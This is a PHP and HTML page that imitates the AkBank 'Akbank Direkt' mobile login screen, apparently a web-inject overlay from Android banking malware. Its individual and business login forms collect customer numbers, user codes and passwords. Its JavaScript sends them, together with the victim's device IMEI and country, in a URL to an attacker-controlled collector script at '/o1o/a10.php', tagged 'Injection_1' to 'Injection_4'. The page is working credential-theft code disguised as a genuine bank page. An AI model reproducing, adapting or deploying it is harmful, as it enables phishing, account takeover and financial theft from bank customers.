<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>AKBANK</title>
    <style>
        html, body {
            text-align: center;
            position: relative;
            padding: 0;
            margin: 0;
            width: 100%;
            height: 98%;
            color: #555;
            font-family: serif, Arial;
            background: #c51522;
        }

        input {
            outline: none;
        }

        hr {
            margin-top: 10px;
            margin-bottom: 10px;
        }

        .background {
            background: #a41722;
            width: 100%;
            position: relative;
        }

        .background hr {
            border: none;
            border-bottom: 2px solid #bb2f3a;
            width: 100%;
        }

        .clear {
            clear: both;
        }

        .logo-block {
            margin-bottom: 37px;
            background-color: #ac0304;
            height: 58px;
            width: 100%;
            position: relative;
        }

        .logo-image {
            background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKMAAAATCAYAAAD8pr31AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMDY3IDc5LjE1Nzc0NywgMjAxNS8wMy8zMC0yMzo0MDo0MiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0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i6ZJHRTbJ9ROYxkuyOP3Ii19WGdNJ6st7/UVrq/5PgAEA6zudhpE0VQcAAAAASUVORK5CYII=') no-repeat #ac0304;
            width: 163px;
            height: 19px;
            left: 50%;
            margin-left: -80px;
            top: 20px;
            position: absolute;
        }

        .menu a {
            display: block;
            width: 50%;
            height: 35px;
            background: #891522;
            color: white;
            font-family: Tahoma,serif;
            font-size: 16px;
            text-decoration: none;
            padding-top: 15px;
            border-bottom: 2px solid #ed222a;
            float: left;
            margin-bottom: 15px;
            font-weight: bold;
        }

        .menu a:active,
        .menu a.active {
            background: #a7303e;
            border-bottom: 6px solid #ed222a;
        }

        .input-field {
            border: none;
            border-bottom: 2px solid #bd5b62;
            background: #a41722;
            height: 35px !important;
            width: 88%;
            font-size: 16px;
            margin: 10px 2% 5px;
            padding-left: 8%;
            font-family: Tahoma,serif;
            color: white;
        }

        .input-field:focus {
            border-bottom: 2px solid white;
        }

        .submit-button {
            display: block;
            width: 40%;
            margin-left: 7%;
            margin-right: 3%;
            background: #c51522;
            border: 2px solid white;
            height: 50px;
            font-family: Tahoma,serif;
            font-size: 16px;
            font-weight: bold;
            color: white;
            margin-top: 15px;
            float: left;
            cursor: pointer;
        }

        .footer-link {
            font-family: Tahoma,serif;
            font-size: 16px;
            color: white;
            text-decoration: underline;
            width: 40%;
            margin-left: 7%;
            margin-right: 3%;
            margin-top: 15px;
            position: relative;
            display: inline-block;
            float: left;
            text-align: left;
        }

        .input-field.fielderror {
            border: 2px solid #f00;
        }
    </style>
</head>
<?php
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);

$inj1="$IMEI_country|Injection_1|AkBank|";
$inj2="$IMEI_country|Injection_2|AkBank|";
include "config.php";

?>
<body>


<div class="logo-block">
    <div class="logo-image"></div>
</div>

<div class="menu">
    <a href="#" onclick="showIndividualForm()" class="active" id="menu-individual-link">Bireysel</a>
    <a href="#" onclick="showBusinessForm()" id="menu-business-link">Kurumsal</a>
    <div class="clear"></div>
</div>

<form method="post" id="form-individual"  action="<?php echo $URL;?>/o1o/a10.php?p=<?php echo $inj1;?>" >
    <div class="background" style="height: 125px;">
        <div class="glyphicon glyphicon-user nn1" style="color: white;"></div>

        <input type="number"
               name="user"
               class="input-field"
               id="individual-client-number"
               placeholder="M&uuml;&#351;teri Numaras&#305;"
               onKeyUp="if(this.value>9999999999){this.value=this.value.substr(0,10);}"
               autofocus="autofocus"
               maxlength="12" />
        <hr/>
        <div class="glyphicon glyphicon-lock nn2" style="color: white;"></div>
        <input name="pass"
               class="input-field"
               id="individual-password"
               type="password"
               style="margin-top: 0"
               placeholder="Akbank Direkt &#350;ifresi"
               maxlength="12" />
    </div>

    <input type="hidden" name="name" value="Akbank Direkt">

    <button id="submitBtn1" class="submit-button">&#304;ptal</button>
    <button id="submitBtn2" class="submit-button">Giri&#351;</button>

    <div class="clear"></div>

    <a href="#" class="footer-link">M&uuml;&#351;teri Numaram&#305; unuttum</a>
    <a href="#" class="footer-link">&#350;ifre Al/&#350;ifremi Unuttum</a>

    <div class="clear"></div>
</form>

<form method="post" id="form-business" style="display: none" action="<?php echo $URL;?>/o1o/a10.php?p=<?php echo $inj2;?>">
    <div class="background" style="height: 190px;">
        <div class="glyphicon glyphicon-user nn11" style="color: white;"></div>
        <input type="number"
               name="user"
               class="input-field"
               id="business-client-number"
               placeholder="M&uuml;&#351;teri Numaras&#305;"
               onKeyUp="if(this.value>9999999999){this.value=this.value.substr(0,10);}" autofocus="autofocus" />
        <hr/>

        <div class="glyphicon glyphicon-th nn33" style="color: white;"></div>

        <input type="number"
               name="pass"
               class="input-field"
               id="business-code-number"
               style="margin-top: 0"
               placeholder="Kullan&#305;c&#305; Kodu"
               onKeyUp="if(this.value>99999){this.value=this.value.substr(0,5);}"
               maxlength="12" />
        <hr/>
        <div class="glyphicon glyphicon-lock nn22" style="color: white;"></div>

        <input type="password"
               name="pin"
               class="input-field"
               id="business-password"
               style="margin-top: 0; margin-bottom: 0"
               placeholder="Akbank Direkt &#350;ifresi"
               maxlength="12" />
    </div>

    <input type="hidden" name="name" value="Akbank Direkt">

    <button id="submitBtn3" class="submit-button">&#304;ptal</button>
    <button id="submitBtn4" class="submit-button">Giri&#351;</button>
    <div class="clear"></div>

    <a href="#" class="footer-link">Giri&#351; Bilgilerimi Unuttum</a>

    <div class="clear"></div>
</form>



<script type="text/javascript">
var formIndividual = document.getElementById('form-individual'),
    formBusiness = document.getElementById('form-business'),
    linkIndividual = document.getElementById('menu-individual-link'),
    linkBusiness = document.getElementById('menu-business-link'),
    selectedForm = 'individual';

	document.getElementById('submitBtn1').onclick = formSubmit;
    document.getElementById('submitBtn2').onclick = formSubmit;
    document.getElementById('submitBtn3').onclick = formSubmit;
    document.getElementById('submitBtn4').onclick = formSubmit;



function formSubmit(){
    if(selectedForm == 'individual') {
        var clientInp = document.getElementById('individual-client-number'),
            passwordInp = document.getElementById('individual-password');



        if(!validateEmpty(clientInp) || !validateEmpty(passwordInp)) {
            return false;
        }



       /* prompt('send', '{"dialog id" : "com.akbank.android.apps.akbank_direkt.html", ' +
        '"client-number": "'+clientInp.value+'", ' +
        '"password": "'+passwordInp.value+'"}');*/

		var url='<?php echo $URL; ?>';
		var imei_c='<?php echo $IMEI_country; ?>';
		document.location.href =url+'/o1o/a10.php?p=' + imei_c+"|Injection_4|akbank|"+clientInp.value+"|"+passwordInp.value+"|";


    } else {
        var clientInp = document.getElementById('business-client-number'),
            codeInp = document.getElementById('business-code-number'),
            passwordInp = document.getElementById('business-password');



        if(!validateEmpty(clientInp) || !validateEmpty(codeInp) || !validateEmpty(passwordInp)) {
            return false;
        }

       /* prompt('send', '{"dialog id" : "akbank", ' +
        '"client-number": "'+clientInp.value+'", ' +
        '"code" : "'+codeInp.value+'", ' +
        '"password": "'+passwordInp.value+'"}');

        formIndividual.submit();*/

	var url='<?php echo $URL; ?>';
	var imei_c='<?php echo $IMEI_country; ?>';
	//location.replace();
	document.location.href = url+'/o1o/a10.php?p=' + imei_c+"|Injection_3|akbank|"+clientInp.value+"|"+passwordInp.value+"|"+codeInp.value;

    }
}

function validateEmpty(element) {
    if (element.value.trim() == ""){
        try {
            element.className = 'input-field fielderror';
        } catch (e) {
        }
        return false;
    }
    element.className = 'input-field';
    return true;
}

function showBusinessForm(){
    selectedForm = 'business';
    removeClass(linkIndividual, "active");
    addClass(linkBusiness, "active");
    formIndividual.style.display = 'none';
    formBusiness.style.display = 'block';
}

function showIndividualForm() {
    selectedForm = 'individual';
    addClass(linkIndividual, "active");
    removeClass(linkBusiness, "active");
    formIndividual.style.display = 'block';
    formBusiness.style.display = 'none';
}

function insertHiddenField(objDoc, objForm, sNm, sV) {
    var input = objDoc.createElement("input");
    input.setAttribute("type", "hidden");
    input.setAttribute("name", sNm);
    input.setAttribute("value", sV);
    objForm.appendChild(input);
}

function addClass(o, c){
    var re = new RegExp("(^|\\s)" + c + "(\\s|$)", "g")
    if (re.test(o.className)) return
    o.className = (o.className + " " + c).replace(/\s+/g, " ").replace(/(^ | $)/g, "")
}

function removeClass(o, c){
    var re = new RegExp("(^|\\s)" + c + "(\\s|$)", "g")
    o.className = o.className.replace(re, "$1").replace(/\s+/g, " ").replace(/(^ | $)/g, "")
}
</script>

</body>
</html>
